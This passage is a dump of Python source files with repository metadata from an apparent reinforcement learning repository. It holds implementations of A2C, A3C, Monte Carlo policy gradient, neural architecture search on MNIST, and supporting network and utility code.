ret: batch['return']\n })\n\n return s\n\n def evaluate(num_episodes):\n env = gym.make(args.env)\n\n for _ in tqdm(range(num_episodes), desc='evaluating'):\n s = env.reset()\n ep_r = 0\n\n for t in itertools.count():\n a = sess.run(action_sample, {state: np.expand_dims(s, 0)}).squeeze(0)\n s_prime, r, d, _ = env.step(a)\n ep_r += r\n\n if d:\n break\n else:\n s = s_prime\n\n sess.run([update_metrics[k] for k in update_metrics if k != 'loss'], {ep_length: t, ep_reward: ep_r})\n\n step, summ, metr = sess.run([global_step, summary, metrics])\n writer.add_summary(summ, step)\n writer.flush()\n\n args = build_parser().parse_args()\n utils.fix_seed(args.seed)\n experiment_path = os.path.join(args.experiment_path, args.env)\n env = VecEnv([lambda: gym.make(args.env) for _ in range(os.cpu_count())])\n\n if args.monitor:\n env = gym.wrappers.Monitor(env, os.path.join('./data', args.env), force=True)\n\n global_step = tf.train.get_or_create_global_step()\n training = tf.placeholder(tf.bool, [], name='training')\n\n # input\n state = tf.placeholder(tf.float32, [None, *env.observation_space.shape], name='state')\n action = tf.placeholder(tf.float32, [None, *env.action_space.shape], name='action')\n ret = tf.placeholder(tf.float32, [None], name='return')\n\n # critic\n value_function = ValueFunction()\n state_value = value_function(state, training=training)\n td_error = ret - state_value\n critic_loss = tf.reduce_mean(tf.square(td_error))\n\n # actor\n policy = PolicyNormal(np.squeeze(env.action_space.shape))\n dist = policy(state, training=training)\n action_sample = dist.sample()\n action_sample = tf.clip_by_value(action_sample, env.action_space.low, env.action_space.high)\n advantage = tf.stop_gradient(td_error)\n actor_loss = -tf.reduce_mean(dist.log_prob(action) * tf.expand_dims(advantage, -1))\n actor_loss -= args.entropy_weight * tf.reduce_mean(dist.entropy())\n\n # training\n loss = actor_loss + critic_loss * 0.5 + tf.losses.get_regularization_loss()\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(args.learning_rate).minimize(loss, global_step=global_step)\n\n # summary\n ep_length = tf.placeholder(tf.float32, [])\n ep_reward = tf.placeholder(tf.float32, [])\n metrics, update_metrics = {}, {}\n metrics['loss'], update_metrics['loss'] = tf.metrics.mean(loss)\n metrics['ep_length'], update_metrics['ep_length'] = tf.metrics.mean(ep_length)\n metrics['ep_reward'], update_metrics['ep_reward'] = tf.metrics.mean(ep_reward)\n summary = tf.summary.merge([\n tf.summary.scalar('loss', metrics['loss']),\n tf.summary.scalar('ep_length', metrics['ep_length']),\n tf.summary.scalar('ep_reward', metrics['ep_reward'])\n ])\n\n locals_init = tf.local_variables_initializer()\n hooks = [tf.train.CheckpointSaverHook(checkpoint_dir=experiment_path, save_steps=100)]\n with tf.train.SingularMonitoredSession(\n checkpoint_dir=experiment_path, hooks=hooks) as sess, tf.summary.FileWriter(experiment_path) as writer:\n s = env.reset()\n for _ in range(args.steps // 100):\n sess.run(locals_init)\n s = train(s, num_steps=100)\n evaluate(num_episodes=10)\n\n env.close()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.535038948059082, "alphanum_fraction": 0.538375973701477, "avg_line_length": 28, "blob_id": "c711b8a67b0a686280d81cbf19d2deaa9fc8caaa", "content_id": "9b6c5dfc72cadadc4367b6b86dad09376253e7e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 899, "license_type": "no_license", "max_line_length": 107, "num_lines": 31, "path": "/iterators.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import numpy as np\n\n\n# TODO: env.reset(d)\n\nclass HorizonIterator(object):\n def __init__(self, env, state_to_action, horizon):\n self.env = env\n self.state_to_action = state_to_action\n self.horizon = horizon\n\n def iterate(self, s, num_steps):\n for _ in range(num_steps):\n history = []\n\n for _ in range(self.horizon):\n a = self.state_to_action(s)\n s_prime, r, d, _ = self.env.step(a)\n history.append((s, a, r, d))\n s = np.where(np.expand_dims(d, -1), self.env.reset(d), s_prime)\n\n batch = {}\n batch['states'], batch['actions'], batch['rewards'], batch['dones'] = self.build_batch(history)\n\n yield batch, s\n\n @staticmethod\n def build_batch(history):\n columns = zip(*history)\n\n return [np.array(col).swapaxes(0, 1) for col in columns]\n" }, { "alpha_fraction": 0.5962059497833252, "alphanum_fraction": 0.6086956262588501, "avg_line_length": 34.659664154052734, "blob_id": "9d9f4ba879b87b04e34c6a6deb2e33d4022ecf81", "content_id": "29c6fa630c21a90ec282ca5f4afafd29450cb6d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8487, "license_type": "no_license", "max_line_length": 120, "num_lines": 238, "path": "/nas.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import utils\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport itertools\nfrom mnist import MNIST\n\n\n# TODO: opt settings\n# TODO: bn, pool\n\n\ndef build_input_fns(dataset_path):\n def preprocess(images, labels):\n images = (np.array(images) / 255).astype(np.float32)\n labels = np.array(labels).astype(np.int32)\n # images = images.reshape((images.shape[0], 28, 28, 1))\n\n return images, labels\n\n def train_input_fn():\n ds = tf.data.Dataset.from_tensor_slices((train_images, train_labels))\n ds = ds.shuffle(1024)\n ds = ds.map(lambda x, y: (x, tf.one_hot(y, 10)))\n ds = ds.batch(32)\n ds = ds.prefetch(None)\n\n return ds\n\n def eval_input_fn():\n ds = tf.data.Dataset.from_tensor_slices((eval_images, eval_labels))\n ds = ds.map(lambda x, y: (x, tf.one_hot(y, 10)))\n ds = ds.batch(32)\n ds = ds.prefetch(None)\n\n return ds\n\n mnist = MNIST(dataset_path, gz=True)\n train_images, train_labels = mnist.load_training()\n eval_images, eval_labels = mnist.load_testing()\n train_images, train_labels = preprocess(train_images, train_labels)\n eval_images, eval_labels = preprocess(eval_images, eval_labels)\n\n return train_input_fn, eval_input_fn\n\n\ndef build_model_spec(actions, actions_per_layer):\n def build_layer(actions):\n return {\n 'filters': [16, 32, 64, 128][actions[0]],\n # 'kernel_size': [3, 5, 7, 9][actions[1]],\n # 'strides': [1, 1, 2, 2][actions[2]],\n 'activation': ['relu', 'tanh', 'selu', 'elu'][actions[1]],\n 'dropout': [0.2, 0.4, 0.6, 0.8][actions[2]]\n }\n\n layers = [build_layer(actions[i: i + actions_per_layer]) for i in range(0, len(actions), actions_per_layer)]\n\n return layers\n\n\ndef build_estimator(model_spec, experiment_path):\n def model_spec_to_string(model_spec):\n s = ''\n for i, l in enumerate(model_spec):\n s += 'l{}(f={},a={},d={}),'.format(\n i + 1, l['filters'], l['activation'], l['dropout'])\n s = s[:-1]\n\n return s\n\n def model_fn(features, labels, mode, params):\n kernel_initializer = tf.contrib.layers.variance_scaling_initializer(\n factor=2.0, mode='FAN_IN', uniform=False)\n kernel_regularizer = tf.contrib.layers.l2_regularizer(scale=1e-4)\n\n input = features\n for i, l in enumerate(params['model_spec']):\n input = tf.layers.dense(\n input,\n l['filters'],\n kernel_initializer=kernel_initializer,\n kernel_regularizer=kernel_regularizer)\n input = {\n 'tanh': tf.nn.tanh,\n 'relu': tf.nn.relu,\n 'elu': tf.nn.elu,\n 'selu': tf.nn.selu\n }[l['activation']](input)\n input = tf.layers.dropout(input, l['dropout'])\n\n input = tf.layers.dense(input, 10, kernel_initializer=kernel_initializer, kernel_regularizer=kernel_regularizer)\n logits = input\n\n loss = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=labels)\n loss = tf.reduce_mean(loss) + tf.losses.get_regularization_loss()\n\n global_step = tf.train.get_or_create_global_step()\n train_step = tf.train.AdamOptimizer().minimize(loss, global_step)\n\n if mode == tf.estimator.ModeKeys.TRAIN:\n return tf.estimator.EstimatorSpec(mode, loss=loss, train_op=train_step)\n\n elif mode == tf.estimator.ModeKeys.EVAL:\n metrics = {'accuracy': tf.metrics.mean(tf.equal(tf.argmax(logits, -1), tf.argmax(labels, -1)))}\n return tf.estimator.EstimatorSpec(mode, loss=loss, eval_metric_ops=metrics)\n\n model_dir = os.path.join(experiment_path, model_spec_to_string(model_spec))\n config = tf.estimator.RunConfig(model_dir=model_dir)\n params = {'model_spec': model_spec}\n\n estimator = tf.estimator.Estimator(model_fn, config=config, params=params)\n\n return estimator\n\n\ndef policy(num_actions, timesteps, name='policy'):\n with tf.name_scope(name):\n kernel_initializer = tf.contrib.layers.variance_scaling_initializer(\n factor=2.0, mode='FAN_IN', uniform=False)\n kernel_regularizer = tf.contrib.layers.l2_regularizer(scale=1e-4)\n\n cell = tf.nn.rnn_cell.LSTMCell(32, initializer=kernel_initializer)\n dense_out = tf.layers.Dense(\n num_actions,\n kernel_initializer=kernel_initializer,\n kernel_regularizer=kernel_regularizer)\n\n input = tf.zeros((1, num_actions))\n state = cell.zero_state(1, input.dtype)\n\n actions = []\n logits = []\n\n for _ in range(timesteps):\n input, state = cell(input, state)\n logit = dense_out(input)\n logits.append(logit)\n dist = tf.distributions.Categorical(logit)\n action = dist.sample()\n actions.append(action)\n input = tf.one_hot(action, num_actions)\n\n actions = tf.stack(actions, 1)\n logits = tf.stack(logits, 1)\n dist = tf.distributions.Categorical(logits)\n\n return actions, dist\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/nas')\n parser.add_argument('--dataset-path', type=str, default=os.path.expanduser('~/Datasets/mnist'))\n parser.add_argument('--episodes', type=int, default=10000)\n parser.add_argument('--entropy-weight', type=float, default=1e-2)\n parser.add_argument('--gamma', type=float, default=1.0)\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n args = build_parser().parse_args()\n utils.fix_seed(args.seed)\n experiment_path = args.experiment_path\n\n global_step = tf.train.get_or_create_global_step()\n\n # input\n b, t = 1, None\n actions = tf.placeholder(tf.int32, [b, t], name='actions')\n rewards = tf.placeholder(tf.float32, [b, t], name='rewards')\n\n # actor\n num_actions = 4\n layers = 4\n actions_per_layer = 3\n timesteps = layers * actions_per_layer\n action_samples, dist = policy(num_actions, timesteps)\n returns = utils.batch_return(rewards, gamma=args.gamma)\n advantages = tf.stop_gradient(returns) # TODO: normalize advantages?\n actor_loss = -tf.reduce_mean(dist.log_prob(actions) * advantages)\n actor_loss -= args.entropy_weight * tf.reduce_mean(dist.entropy())\n\n # training\n loss = actor_loss + tf.losses.get_regularization_loss()\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(args.learning_rate).minimize(loss, global_step=global_step)\n\n # summary\n ep_reward = tf.placeholder(tf.float32, [])\n metrics, update_metrics = {}, {}\n metrics['loss'], update_metrics['loss'] = tf.metrics.mean(loss)\n metrics['ep_reward'], update_metrics['ep_reward'] = tf.metrics.mean(ep_reward)\n summary = tf.summary.merge([\n tf.summary.scalar('loss', metrics['loss']),\n tf.summary.scalar('ep_reward', metrics['ep_reward'])\n ])\n\n locals_init = tf.local_variables_initializer()\n\n hooks = [\n tf.train.CheckpointSaverHook(checkpoint_dir=experiment_path, save_steps=100)\n ]\n with tf.train.SingularMonitoredSession(checkpoint_dir=experiment_path, hooks=hooks) as sess, tf.summary.FileWriter(\n experiment_path) as writer:\n sess.run(locals_init)\n\n train_input_fn, eval_input_fn = build_input_fns(args.dataset_path)\n\n for _ in itertools.count():\n a = sess.run(action_samples)\n\n model_spec = build_model_spec(np.squeeze(a, 0), actions_per_layer)\n estimator = build_estimator(model_spec, experiment_path)\n ms = [estimator.evaluate(eval_input_fn)]\n for _ in range(5):\n estimator.train(train_input_fn)\n m = estimator.evaluate(eval_input_fn)\n ms.append(m)\n r = sum(m['accuracy'] for m in ms)\n\n _, _, step = sess.run(\n [train_step, update_metrics, global_step],\n {actions: a, rewards: [[0] * (timesteps - 1) + [r]], ep_reward: r})\n\n summ, metr = sess.run([summary, metrics])\n writer.add_summary(summ, step)\n writer.flush()\n sess.run(locals_init)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6171897053718567, "alphanum_fraction": 0.624823272228241, "avg_line_length": 30.026315689086914, "blob_id": "139a7e7def39e56bfd46ba441aaae3c8ba7ccb5e", "content_id": "46b6f2f1d40b5827f14f234f2bdd3f03739ff049", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3537, "license_type": "no_license", "max_line_length": 107, "num_lines": 114, "path": "/torch_rl/torch_pg_mc.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import utils\nfrom metrics import Mean\nimport numpy as np\nimport gym\nimport os\nfrom tensorboardX import SummaryWriter\nimport torch\nimport itertools\nfrom tqdm import tqdm\nfrom torch_rl.network import PolicyCategorical\nfrom torch_rl.utils import batch_return\n\n\n# TODO: train/eval\n# TODO: bn update\n# TODO: return normalization\n# TODO: monitored session\n# TODO: normalize advantage?\n\n\ndef build_batch(history):\n columns = zip(*history)\n\n return [torch.tensor(col, dtype=torch.float32).transpose(0, 1) for col in columns]\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/torch/pg-mc')\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--episodes', type=int, default=10000)\n parser.add_argument('--entropy-weight', type=float, default=1e-2)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n def train_step(states, actions, rewards):\n optimizer.zero_grad()\n\n # actor\n dist = policy(states)\n returns = batch_return(rewards, gamma=args.gamma)\n # advantages = tf.stop_gradient(utils.normalization(returns))\n advantages = returns.detach()\n actor_loss = -torch.mean(dist.log_prob(actions) * advantages)\n actor_loss -= args.entropy_weight * torch.mean(dist.entropy())\n\n # training\n loss = actor_loss\n\n loss.backward()\n optimizer.step()\n global_step.data += 1\n\n return global_step, loss.item()\n\n args = build_parser().parse_args()\n utils.fix_seed(args.seed)\n experiment_path = os.path.join(args.experiment_path, args.env)\n env = gym.make(args.env)\n env.seed(args.seed)\n writer = SummaryWriter(experiment_path)\n\n if args.monitor:\n env = gym.wrappers.Monitor(env, os.path.join('./data', args.env), force=True)\n\n global_step = torch.tensor(0)\n policy = PolicyCategorical(np.squeeze(env.observation_space.shape), np.squeeze(env.action_space.shape))\n params = policy.parameters()\n optimizer = torch.optim.Adam(params, args.learning_rate, weight_decay=1e-4)\n metrics = {'loss': Mean(), 'ep_length': Mean(), 'ep_reward': Mean()}\n\n if os.path.exists(os.path.join(experiment_path, 'parameters')):\n policy.load_state_dict(torch.load(os.path.join(experiment_path, 'parameters')))\n\n policy.train()\n for _ in tqdm(range(args.episodes), desc='training'):\n history = []\n s = env.reset()\n ep_reward = 0\n\n for t in itertools.count():\n a = policy(torch.tensor(s, dtype=torch.float32)).sample().item()\n s_prime, r, d, _ = env.step(a)\n ep_reward += r\n\n history.append(([s], [a], [r]))\n\n if d:\n break\n else:\n s = s_prime\n\n batch = {}\n batch['states'], batch['actions'], batch['rewards'] = build_batch(history)\n\n step, loss = train_step(**batch)\n metrics['loss'].update(loss)\n metrics['ep_length'].update(t)\n metrics['ep_reward'].update(ep_reward)\n\n if step % 100 == 0:\n for k in metrics:\n writer.add_scalar(k, metrics[k].compute(), step)\n torch.save(policy.state_dict(), os.path.join(experiment_path, 'parameters'))\n {metrics[k].reset() for k in metrics}\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5968165397644043, "alphanum_fraction": 0.6059122085571289, "avg_line_length": 35.64743423461914, "blob_id": "9456d431559ac24c05222651bf49b7440869cadf", "content_id": "8c032fc00ff73b1b0613a835debc813cf91ab048", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5717, "license_type": "no_license", "max_line_length": 119, "num_lines": 156, "path": "/a2c.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import utils\nimport numpy as np\nimport gym\nimport os\nimport tensorflow as tf\nimport itertools\nfrom tqdm import tqdm\nfrom network import ValueFunction, PolicyCategorical\nfrom vec_env import VecEnv\n\n\ndef build_batch(history):\n columns = zip(*history)\n\n return [np.array(col).swapaxes(0, 1) for col in columns]\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--horizon', type=int, default=128)\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/a2c')\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--steps', type=int, default=10000)\n parser.add_argument('--entropy-weight', type=float, default=1e-2)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--workers', type=int, default=os.cpu_count())\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\ndef main():\n def train(s, num_steps):\n for _ in tqdm(range(num_steps), desc='training'):\n history = []\n\n for _ in range(args.horizon):\n a = sess.run(action_sample, {states: np.expand_dims(s, 1)}).squeeze(1)\n s_prime, r, d, _ = env.step(a)\n history.append((s, a, r, d))\n s = np.where(np.expand_dims(d, -1), env.reset(d), s_prime)\n\n batch = {}\n batch['states'], batch['actions'], batch['rewards'], batch['dones'] = build_batch(history)\n\n sess.run(\n [train_step, update_metrics['loss']],\n {\n states: batch['states'],\n actions: batch['actions'],\n rewards: batch['rewards'],\n state_prime: s_prime,\n dones: batch['dones']\n })\n\n return s\n\n def evaluate(num_episodes):\n env = gym.make(args.env)\n\n for _ in tqdm(range(num_episodes), desc='evaluating'):\n s = env.reset()\n ep_rew = 0\n\n for t in itertools.count():\n a = sess.run(action_sample, {states: np.reshape(s, (1, 1, -1))}).squeeze((0, 1))\n s_prime, r, d, _ = env.step(a)\n ep_rew += r\n\n if d:\n break\n else:\n s = s_prime\n\n sess.run([update_metrics[k] for k in update_metrics if k != 'loss'], {ep_length: t, ep_reward: ep_rew})\n\n step, summ, metr = sess.run([global_step, summary, metrics])\n writer.add_summary(summ, step)\n writer.flush()\n\n args = build_parser().parse_args()\n utils.fix_seed(args.seed)\n experiment_path = os.path.join(args.experiment_path, args.env)\n env = VecEnv([lambda: gym.make(args.env) for _ in range(args.workers)])\n env.seed(args.seed)\n\n if args.monitor:\n env = gym.wrappers.Monitor(env, os.path.join('./data', args.env), force=True)\n\n global_step = tf.train.get_or_create_global_step()\n training = tf.placeholder(tf.bool, [], name='training')\n\n # input\n b, t = None, None\n states = tf.placeholder(tf.float32, [b, t, *env.observation_space.shape], name='states')\n actions = tf.placeholder(tf.int32, [b, t], name='actions')\n rewards = tf.placeholder(tf.float32, [b, t], name='rewards')\n state_prime = tf.placeholder(tf.float32, [b, *env.observation_space.shape], name='state_prime')\n dones = tf.placeholder(tf.bool, [b, t], name='dones')\n\n # critic\n value_function = ValueFunction()\n values = value_function(states, training=training)\n value_prime = value_function(state_prime, training=training)\n returns = utils.batch_n_step_return(rewards, value_prime, dones, gamma=args.gamma)\n returns = tf.stop_gradient(returns)\n errors = returns - values\n critic_loss = tf.reduce_mean(tf.square(errors))\n\n # actor\n policy = PolicyCategorical(np.squeeze(env.action_space.shape))\n dist = policy(states, training=training)\n action_sample = dist.sample()\n advantages = tf.stop_gradient(errors) # TODO: normalization\n actor_loss = -tf.reduce_mean(dist.log_prob(actions) * advantages)\n actor_loss -= args.entropy_weight * tf.reduce_mean(dist.entropy())\n\n # training\n loss = actor_loss + critic_loss * 0.5 + tf.losses.get_regularization_loss()\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(args.learning_rate).minimize(loss, global_step=global_step)\n\n # summary\n ep_length = tf.placeholder(tf.float32, [])\n ep_reward = tf.placeholder(tf.float32, [])\n metrics, update_metrics = {}, {}\n metrics['loss'], update_metrics['loss'] = tf.metrics.mean(loss)\n metrics['ep_length'], update_metrics['ep_length'] = tf.metrics.mean(ep_length)\n metrics['ep_reward'], update_metrics['ep_reward'] = tf.metrics.mean(ep_reward)\n summary = tf.summary.merge([\n tf.summary.scalar('loss', metrics['loss']),\n tf.summary.scalar('ep_length', metrics['ep_length']),\n tf.summary.scalar('ep_reward', metrics['ep_reward'])\n ])\n locals_init = tf.local_variables_initializer()\n\n # session\n hooks = [\n tf.train.CheckpointSaverHook(checkpoint_dir=experiment_path, save_steps=100)\n ]\n with tf.train.SingularMonitoredSession(checkpoint_dir=experiment_path, hooks=hooks) as sess, tf.summary.FileWriter(\n experiment_path) as writer:\n s = env.reset()\n for _ in range(args.steps // 100):\n sess.run(locals_init)\n s = train(s, num_steps=100)\n evaluate(num_episodes=10)\n\n env.close()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6159999966621399, "alphanum_fraction": 0.6255999803543091, "avg_line_length": 23.038461685180664, "blob_id": "0f54d7d020f12ed9c879cec43cf1c0e2095823da", "content_id": "51c029a3afdc6546de4e28637140b130e32240bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 625, "license_type": "no_license", "max_line_length": 66, "num_lines": 26, "path": "/torch_rl/utils.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import torch\n\n\n# TODO: test\n\ndef batch_return(rewards, gamma):\n value_prime = torch.zeros(rewards.shape[:1])\n dones = torch.full(rewards.shape, False)\n\n return batch_n_step_return(rewards, value_prime, dones, gamma)\n\n\ndef batch_n_step_return(rewards, value_prime, dones, gamma):\n assert rewards.dim() == 2\n assert value_prime.dim() == 1\n assert dones.dim() == 2\n\n mask = (1 - dones).float()\n ret = value_prime\n returns = torch.zeros_like(rewards)\n\n for t in reversed(range(rewards.size(1))):\n ret = rewards[:, t] + mask[:, t] * gamma * ret\n returns[:, t] = ret\n\n return returns\n" }, { "alpha_fraction": 0.585185170173645, "alphanum_fraction": 0.5920634865760803, "avg_line_length": 34.16279220581055, "blob_id": "68b8e5b28e01d08a24b892d935bb406ae8c89641", "content_id": "8a51588f7444f29b44f30715721c28e92eacd910", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7560, "license_type": "no_license", "max_line_length": 113, "num_lines": 215, "path": "/a3c.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tqdm import tqdm\nimport numpy as np\nimport gym\nimport os\nimport itertools\nimport ray\nfrom network import ValueFunction, PolicyCategorical\nimport utils\n\n\n# TODO: num steps\n# TODO: track loss\n# TODO: seed\n# TODO: shared rms\n\ndef build_batch(history):\n columns = zip(*history)\n\n return [np.array(col).swapaxes(0, 1) for col in columns]\n\n\ndef build_parser():\n parser = utils.ArgumentParser()\n parser.add_argument('--horizon', type=int, default=128)\n parser.add_argument('--learning-rate', type=float, default=1e-3)\n parser.add_argument('--experiment-path', type=str, default='./tf_log/a3c')\n parser.add_argument('--env', type=str, required=True)\n parser.add_argument('--steps', type=int, default=10000)\n parser.add_argument('--entropy-weight', type=float, default=1e-2)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--workers', type=int, default=os.cpu_count())\n parser.add_argument('--monitor', action='store_true')\n\n return parser\n\n\n@ray.remote\nclass Master(object):\n def __init__(self, args):\n experiment_path = os.path.join(args.experiment_path, args.env)\n env = gym.make(args.env)\n self.global_step = tf.train.get_or_create_global_step() # TODO: self?\n training = True\n\n # input\n b, t = None, None\n states = tf.placeholder(tf.float32, [b, t, *env.observation_space.shape], name='states')\n\n # critic\n value_function = ValueFunction()\n value_function(states, training=training)\n\n # actor\n policy = PolicyCategorical(np.squeeze(env.action_space.shape))\n policy(states, training=training)\n\n # training\n self.vars = tf.trainable_variables()\n self.grad_holders = [tf.placeholder(var.dtype, var.shape) for var in self.vars]\n optimizer = tf.train.AdamOptimizer(args.learning_rate)\n grads_and_vars = zip(self.grad_holders, self.vars)\n self.apply_gradients = optimizer.apply_gradients(grads_and_vars, global_step=self.global_step)\n\n # summary\n self.ep_length = tf.placeholder(tf.float32, [])\n self.ep_reward = tf.placeholder(tf.float32, [])\n metrics, self.update_metrics = {}, {}\n metrics['ep_length'], self.update_metrics['ep_length'] = tf.metrics.mean(self.ep_length)\n metrics['ep_reward'], self.update_metrics['ep_reward'] = tf.metrics.mean(self.ep_reward)\n self.summary = tf.summary.merge([\n tf.summary.scalar('ep_length', metrics['ep_length']),\n tf.summary.scalar('ep_reward', metrics['ep_reward'])\n ])\n\n # init\n self.locals_init = tf.local_variables_initializer()\n\n # session\n hooks = [\n tf.train.CheckpointSaverHook(checkpoint_dir=experiment_path, save_steps=100)\n ]\n self.sess = tf.train.SingularMonitoredSession(checkpoint_dir=experiment_path, hooks=hooks)\n self.writer = tf.summary.FileWriter(experiment_path)\n self.sess.run(self.locals_init)\n self.tqdm = tqdm()\n\n def update(self, gs):\n _, vs, step = self.sess.run(\n [self.apply_gradients, self.vars, self.global_step],\n {grad: g for grad, g in zip(self.grad_holders, gs)})\n\n self.tqdm.update()\n\n if step % 100 == 0:\n summ = self.sess.run(self.summary)\n self.writer.add_summary(summ, step)\n self.writer.flush()\n self.sess.run(self.locals_init)\n\n return vs\n\n def metrics(self, ep_len, ep_rew):\n self.sess.run(self.update_metrics, {self.ep_length: ep_len, self.ep_reward: ep_rew})\n\n\n@ray.remote\nclass Worker(object):\n def __init__(self, master, args):\n self.master = master\n self.args = args\n self.env = gym.make(args.env)\n training = True\n\n # input\n b, t = 1, None\n self.states = tf.placeholder(tf.float32, [b, t, *self.env.observation_space.shape], name='states')\n self.actions = tf.placeholder(tf.int32, [b, t], name='actions')\n self.rewards = tf.placeholder(tf.float32, [b, t], name='rewards')\n self.state_prime = tf.placeholder(tf.float32, [b, *self.env.observation_space.shape], name='state_prime')\n self.dones = tf.placeholder(tf.bool, [b, t], name='dones')\n\n # critic\n value_function = ValueFunction()\n values = value_function(self.states, training=training)\n value_prime = value_function(self.state_prime, training=training)\n returns = utils.batch_n_step_return(self.rewards, value_prime, self.dones, gamma=args.gamma)\n returns = tf.stop_gradient(returns)\n errors = returns - values\n critic_loss = tf.reduce_mean(tf.square(errors))\n\n # actor\n policy = PolicyCategorical(np.squeeze(self.env.action_space.shape))\n dist = policy(self.states, training=training)\n self.action_sample = dist.sample()\n advantages = tf.stop_gradient(errors) # TODO: normalization\n actor_loss = -tf.reduce_mean(dist.log_prob(self.actions) * advantages)\n actor_loss -= args.entropy_weight * tf.reduce_mean(dist.entropy())\n\n # training\n loss = actor_loss + critic_loss * 0.5 + tf.losses.get_regularization_loss()\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n optimizer = tf.train.AdamOptimizer(args.learning_rate)\n grads_and_vars = optimizer.compute_gradients(loss)\n\n self.grads, vars = zip(*grads_and_vars)\n self.var_holders = [tf.placeholder(var.dtype, var.shape) for var in vars]\n self.update_vars = tf.group(*[var.assign(var_holder) for var, var_holder in zip(vars, self.var_holders)])\n\n # init\n self.globals_init = tf.global_variables_initializer()\n\n # session\n self.sess = tf.Session()\n self.sess.run(self.globals_init)\n\n def train(self):\n s = self.env.reset()\n t = 0\n ep_rew = 0\n\n for _ in itertools.count():\n history = []\n for _ in range(self.args.horizon):\n a = self.sess.run(self.action_sample, {self.states: np.reshape(s, (1, 1, -1))}).squeeze((0, 1))\n s_prime, r, d, _ = self.env.step(a)\n\n t += 1\n ep_rew += r\n\n history.append(([s], [a], [r], [d]))\n\n if d:\n self.master.metrics.remote(t, ep_rew)\n\n s = self.env.reset()\n t = 0\n ep_rew = 0\n\n break\n else:\n s = s_prime\n\n batch = {}\n batch['states'], batch['actions'], batch['rewards'], batch['dones'] = build_batch(history)\n\n gs = self.sess.run(\n self.grads,\n {\n\n self.states: batch['states'],\n self.actions: batch['actions'],\n self.rewards: batch['rewards'],\n self.state_prime: [s_prime],\n self.dones: batch['dones']\n })\n vs = ray.get(self.master.update.remote(gs))\n self.sess.run(self.update_vars, {var_holder: v for var_holder, v in zip(self.var_holders, vs)})\n\n\ndef main():\n args = build_parser().parse_args()\n\n ray.init()\n\n master = Master.remote(args)\n workers = [Worker.remote(master, args) for _ in range(args.workers)]\n tasks = [worker.train.remote() for worker in workers]\n ray.get(tasks)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.579767644405365, "alphanum_fraction": 0.5882686376571655, "avg_line_length": 30.508928298950195, "blob_id": "6e2933460de15c9e08e2ea96e07df00da4bbf608", "content_id": "af7d6fe98fbcce69ae943715737e8fce8e1003bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3529, "license_type": "no_license", "max_line_length": 76, "num_lines": 112, "path": "/network.py", "repo_name": "huzhejie/reinforcement-learning", "src_encoding": "UTF-8", "text": "import tensorflow as tf\n\n\nclass Network(tf.layers.Layer):\n def __init__(self,\n kernel_initializer=None,\n kernel_regularizer=None,\n trainable=True,\n name='network'):\n super().__init__(name=name)\n\n self.dense_1 = tf.layers.Dense(\n 32,\n kernel_initializer=kernel_initializer,\n kernel_regularizer=kernel_regularizer,\n trainable=trainable)\n\n self.dense_2 = tf.layers.Dense(\n 32,\n kernel_initializer=kernel_initializer,\n kernel_regularizer=kernel_regularizer,\n trainable=trainable)\n\n def call(self, input, training):\n input = self.dense_1(input)\n input = tf.nn.tanh(input) # TODO: works better than relu\n\n input = self.dense_2(input)\n input = tf.nn.tanh(input) # TODO: works better than relu\n\n return input\n\n\nclass ValueFunction(tf.layers.Layer):\n def __init__(self,\n trainable=True,\n name='value_function'):\n super().__init__(name=name)\n\n kernel_initializer = tf.contrib.layers.variance_scaling_initializer(\n factor=2.0, mode='FAN_IN', uniform=False)\n kernel_regularizer = 